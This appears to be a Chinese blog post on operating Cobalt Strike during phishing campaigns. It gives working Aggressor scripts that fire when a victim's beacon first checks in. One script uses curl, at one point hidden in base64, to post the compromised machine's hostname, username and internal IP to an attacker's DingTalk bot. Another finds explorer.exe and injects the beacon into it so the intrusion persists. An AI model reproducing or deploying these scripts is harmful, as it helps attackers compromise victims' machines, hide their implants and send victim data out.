因为有的时候钓鱼 不能心急 比如,你tm快点给我打开那个xxx 这是不行的 但是又不能一直盯着CS 这时候就要用到上线提醒
随便发现在windows上设置这种上线提醒的坑点
首先设置一个钉钉机器人
需要电脑客户端才能设置
发送一个curl进行测试
windows Curl 有一些坑点:
- json不能由单引号包括起来
- json数据里的双引号要用反斜杠\转义
- json数据里不能带有空格
- 如果想要在json数据里使用空格则必须用双引号将整个json数据包括起来
- Content-type要由双引号包括起来
curl "https://oapi.dingtalk.com/robot/send?access_token=35cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx×tamp=1613211530113&secret=SEC2e67120c5e4affa1177ac25fe8dc77ba1c5b49284a9dc7e1888770bc3b76b1fc" -H "Content-Type: application/json" -d "{\"msgtype\": \"text\",\"text\": {\"content\": \"CobaltStrike success\"}}"
编写cna脚本
为了简单起见
我base64一下,因为这个命令过滤字符有点多
然后用两行代码实现效果
#nihao
on beacon_initial {
exec(base64_decode("Y3VybCAiaHR0cHM6Ly9vYXBpLmRpbmd0YWxrLmNvbS9yb2JvdC9zZW5kP2FjY2Vzc190b2tlbj0zNxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"))
}
提到即使提醒的作用即可
加强版本如下
#nihao
on beacon_initial {
println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
local('$internalIP $computerName $userName');
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$message = 'CobaltStrike:\n'.$teamserver_hostname.'hostname:'.$computerName.'\nUsername : '.$userName.'\nIpaddres : '.$internalIP;
exec('curl "https://oapi.dingtalk.com/robot/send?access_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx×tamp=1613211530113&secret=SEC2e67120c5e4affa1177ac25fe8dc77ba1c5b49284a9dc7e1888770bc3b76b1fc" -H "Content-Type: application/json" -d "{\"msgtype\": \"text\",\"text\": {\"content\": \"'.$message.'\"}}"')
}
服务器部署
agscript.bat teamserver的ip teamserver的port yanmu1 password ./1234.cna
服务器curl要是出现下面问题加上-k即可
至此windows的坑点就没了
自动迁移程序
on beacon_initial
{
sub callback
{
$regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
$listener = "http";
if ($2 ismatch $regex)
{
$pid = matched()[1];
$inject_pid = $pid;
if (-is64 $1)
{
$arch = "x64";
}
else
{
$arch = "x86";
}
binject($1, $pid, $listener, $arch);
}
}
if($inject_pid != beacon_info($1,"pid"))
{
bps($1, &callback);
}
}